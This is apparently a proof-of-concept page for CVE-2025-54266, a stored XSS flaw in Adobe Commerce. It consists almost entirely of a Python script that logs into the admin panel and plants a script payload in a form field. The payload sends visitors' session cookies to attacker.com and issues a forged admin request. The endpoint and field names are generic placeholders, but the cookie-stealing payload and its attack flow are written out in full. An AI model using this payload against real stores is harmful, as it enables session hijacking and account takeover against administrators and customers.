CVE-2025-54266：Adobe Commerce存储型XSS漏洞

# CVE-2025-54266 - Adobe Commerce Stored XSS PoC # This PoC demonstrates the stored XSS vulnerability in Adobe Commerce form fields import requests TARGET_URL = "https://target-adobe-commerce.com" ADMIN_USERNAME = "admin" ADMIN_PASSWORD = "password123" # Step 1: Login as high-privileged admin user session = requests.Session() login_data = { "login[username]": ADMIN_USERNAME, "login[password]": ADMIN_PASSWORD, "form_key": "FORM_KEY_HERE" } session.post(f"{TARGET_URL}/admin/user/login", data=login_data) # Step 2: Inject malicious JavaScript into vulnerable form field # The payload will be stored and executed when victims view the page xss_payload = """ <script> // Steal session cookies and send to attacker server var img = new Image(); img.src = "https://attacker.com/steal?cookie=" + document.cookie; // Perform actions on behalf of the victim fetch('/admin/customer/save', { method: 'POST', body: JSON.stringify({email: '[email protected]'}) }); </script> """ # Step 3: Submit payload through vulnerable form field malicious_data = { "field_name": xss_payload, # Vulnerable form field "form_key": "FORM_KEY_HERE" } response = session.post( f"{TARGET_URL}/admin/vulnerable_endpoint", data=malicious_data ) print(f"Payload submitted. Status: {response.status_code}") print("When any user browses to the affected page, the script will execute.")